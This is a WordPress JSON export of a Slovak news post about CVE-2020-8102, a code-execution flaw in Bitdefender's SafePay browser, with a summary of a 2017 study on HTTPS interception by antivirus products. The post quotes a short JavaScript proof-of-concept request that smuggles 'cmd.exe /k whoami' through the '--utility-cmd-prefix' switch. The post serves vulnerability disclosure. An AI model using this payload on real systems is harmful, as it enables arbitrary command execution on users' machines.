{"id":86356,"date":"2020-06-24T13:42:00","date_gmt":"2020-06-24T11:42:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-zashhishhyonnom-brauzere-bitdefender-safepay-privodyashhaya-k-vypolneniyu-koda"},"modified":"2020-06-24T13:42:00","modified_gmt":"2020-06-24T11:42:00","slug":"uyazvimost-v-zashhishhyonnom-brauzere-bitdefender-safepay-privodyashhaya-k-vypolneniyu-koda","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sk\/blog\/news\/uyazvimost-v-zashhishhyonnom-brauzere-bitdefender-safepay-privodyashhaya-k-vypolneniyu-koda","title":{"rendered":"Zranite\u013enos\u0165 v zabezpe\u010denom prehliada\u010di Bitdefender SafePay, ved\u00faca k vykon\u00e1vaniu k\u00f3du","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Vladim\u00edr Palant, zakladate\u013e Adblock Plus, odhalil<\/a><\/noindex> zranite\u013enos\u0165<\/a><\/noindex> (CVE-2020-8102<\/a><\/noindex>) v prehliada\u010di Safepay, ktor\u00fd je zalo\u017een\u00fd na engine Chromium a je s\u00fa\u010das\u0165ou antiv\u00edrusov\u00e9ho bal\u00edka Bitdefender Total Security 2020, a ktor\u00fd je zameran\u00fd na zv\u00fd\u0161enie bezpe\u010dnosti pou\u017e\u00edvate\u013ea pri pr\u00e1ci na glob\u00e1lnej sieti (napr\u00edklad poskytuje dodato\u010dn\u00fa izol\u00e1ciu pri pr\u00edstupe k bank\u00e1m a platobn\u00fdm syst\u00e9mom). Zranite\u013enos\u0165 umo\u017e\u0148uje webov\u00fdm str\u00e1nkam, otvoren\u00fdm v prehliada\u010di, vykon\u00e1va\u0165 svojevo\u013en\u00fd k\u00f3d na \u00farovni opera\u010dn\u00e9ho syst\u00e9mu.<\/p>\n

Pr\u00ed\u010dina probl\u00e9mu spo\u010d\u00edva v tom, \u017ee antiv\u00edrus Bitdefender vykon\u00e1va lok\u00e1lne zachyt\u00e1vanie HTTPS prev\u00e1dzky prostredn\u00edctvom v\u00fdmeny p\u00f4vodn\u00e9ho TLS certifik\u00e1tu webovej str\u00e1nky. Na syst\u00e9me klienta sa nain\u0161taluje dodato\u010dn\u00fd kore\u0148ov\u00fd certifik\u00e1t, ktor\u00fd umo\u017e\u0148uje skry\u0165 pr\u00e1cu syst\u00e9mu na kontrolu prev\u00e1dzky. Antiv\u00edrus zasahuje do zabezpe\u010denej prev\u00e1dzky a na niektor\u00e9 str\u00e1nky vklad\u00e1 vlastn\u00fd JavaScript k\u00f3d na realiz\u00e1ciu funkcie Safe Search; ak nastan\u00fa probl\u00e9my s certifik\u00e1tom zabezpe\u010den\u00e9ho pripojenia, nahrad\u00ed str\u00e1nku s chybou vlastnou. Ke\u010f\u017ee nov\u00e1 str\u00e1nka s chybou je vydan\u00e1 od mena otvoren\u00e9ho servera, in\u00e9 str\u00e1nky tohto servera maj\u00fa pln\u00fd pr\u00edstup k obsahu vkladan\u00e9mu Bitdefenderom.<\/p>\n

Pri otvoren\u00ed webovej str\u00e1nky pod kontrolou \u00fato\u010dn\u00edka m\u00f4\u017ee t\u00e1to str\u00e1nka odosla\u0165 po\u017eiadavku XMLHttpRequest a simulova\u0165 probl\u00e9m s HTTPS certifik\u00e1tom pri odpovedi, \u010do vedie k zobrazeniu str\u00e1nky s chybou, ktor\u00fa zmenil Bitdefender. Ke\u010f\u017ee str\u00e1nka s chybou sa otvor\u00ed v kontexte dom\u00e9ny \u00fato\u010dn\u00edka, m\u00f4\u017ee pre\u010d\u00edta\u0165 obsah zmenenej str\u00e1nky s parametrami Bitdefender. Na zmenenej str\u00e1nke Bitdefender sa nach\u00e1dza aj sedenie k\u013e\u00fa\u010d, ktor\u00fd umo\u017e\u0148uje pomocou vn\u00fatorn\u00e9ho API Bitdefender spusti\u0165 samostatn\u00fa rel\u00e1ciu prehliada\u010da Safepay, pri\u010dom m\u00f4\u017ee zada\u0165 \u013eubovo\u013en\u00e9 pr\u00edkazy pr\u00edkazov\u00e9ho riadku a dosiahnu\u0165 spustenie ak\u00fdchko\u013evek syst\u00e9mov\u00fdch pr\u00edkazov pomocou prep\u00edna\u010da \"--utility-cmd-prefix\". Pr\u00edklad exploit-u (param1 a param2 s\u00fa hodnoty z\u00edskan\u00e9 zo str\u00e1nky s chybou):<\/p>\n

var request = new XMLHttpRequest();
\n request.open(\"POST\", Math.random());
\n request.setRequestHeader(\"Content-type\", \"application\/x-www-form-urlencoded\");
\n request.setRequestHeader(\"BDNDSS_B67EA559F21B487F861FDA8A44F01C50\", param1);
\n request.setRequestHeader(\"BDNDCA_BBACF84D61A04F9AA66019A14B035478\", param2);
\n request.setRequestHeader(\"BDNDWB_5056E556833D49C1AF4085CB254FC242\", \"obk.run\");
\n request.setRequestHeader(\"BDNDOK_4E961A95B7B44CBCA1907D3D3643370D\", location.href);
\n request.send(\"data:text\/html,nada --utility-cmd-prefix=\\cmd.exe \/k whoami & echo\\\");<\/p>\n

\"Zranite\u013enos\u0165<\/a><\/noindex><\/center><\/p>\n

Pripom\u00edname, \u017ee \u0161t\u00fadia z roku 2017 uk\u00e1zala<\/a><\/noindex>, \u017ee 24 z 26 testovan\u00fdch antiv\u00edrusov\u00fdch produktov, ktor\u00e9 kontrolovali HTTPS prenos prostredn\u00edctvom v\u00fdmeny certifik\u00e1tov, zni\u017eovali celkov\u00fa \u00farove\u0148 bezpe\u010dnosti HTTPS pripojenia.
\nAktu\u00e1lne sady \u0161ifrov sa poskytovali iba v 11 z 26 produktov. 5 syst\u00e9mov neoverovalo certifik\u00e1ty (Kaspersky Internet Security 16 Mac, NOD32 AV 9, CYBERsitter, Net Nanny 7 Win, Net Nanny 7 Mac). Produkty Kaspersky Internet Security a Total Security boli zranite\u013en\u00e9 vo\u010di \u00fatokom CRIME<\/a><\/noindex>, zatia\u013e \u010do produkty AVG, Bitdefender a Bullguard boli tie\u017e vystaven\u00e9 \u00fatokom Logjam<\/a><\/noindex> a POODLE<\/a><\/noindex>. Produkt Dr.Web Antivirus 11 umo\u017e\u0148uje prechod na nezabezpe\u010den\u00e9 exportn\u00e9 \u0161ifry (\u00fatok FREAK<\/a><\/noindex>).<\/p>\n

<\/a><\/noindex><\/p>\n

Zdroj: opennet.ru<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412\u043b\u0430\u0434\u0438\u043c\u0438\u0440 \u041f\u0430\u043b\u0430\u043d\u0442, \u0441\u043e\u0437\u0434\u0430\u0442\u0435\u043b\u044c Adblock Plus, \u0432\u044b\u044f\u0432\u0438\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2020-8102) \u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043d\u0430 \u0434\u0432\u0438\u0436\u043a\u0435 Chromium \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c web-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 Safepay, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u043e\u043c \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 Bitdefender Total Security 2020 \u0438 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u043c \u043d\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044f \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0438 \u043a \u0431\u0430\u043d\u043a\u0430\u043c \u0438 \u043f\u043b\u0430\u0442\u0451\u0436\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c). \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0430\u0451\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c\u044b\u043c \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u0441\u0430\u0439\u0442\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86357,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-86356","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Zranite\u013enos\u0165 v zabezpe\u010denom prehliada\u010di Bitdefender SafePay, ktor\u00e1 vedie k vykonaniu k\u00f3du | ProHoster","description":"Vladimir Palant, tvorca Adblock Plus, odhalil","canonical_url":"https:\/\/prohoster.info\/sk\/blog\/news\/uyazvimost-v-zashhishhyonnom-brauzere-bitdefender-safepay-privodyashhaya-k-vypolneniyu-koda","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sk_SK","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u043e\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 Bitdefender SafePay, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 | ProHoster","og:description":"\u0412\u043b\u0430\u0434\u0438\u043c\u0438\u0440 \u041f\u0430\u043b\u0430\u043d\u0442, \u0441\u043e\u0437\u0434\u0430\u0442\u0435\u043b\u044c Adblock Plus, \u0432\u044b\u044f\u0432\u0438\u043b","og:url":"https:\/\/prohoster.info\/sk\/blog\/news\/uyazvimost-v-zashhishhyonnom-brauzere-bitdefender-safepay-privodyashhaya-k-vypolneniyu-koda","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-24T11:42:00+00:00","article:modified_time":"2020-06-24T11:42:00+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86356","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:17:32","updated":"2022-09-28 12:42:50","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/posts\/86356","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/comments?post=86356"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/posts\/86356\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/media\/86357"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/media?parent=86356"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/categories?post=86356"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/tags?post=86356"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}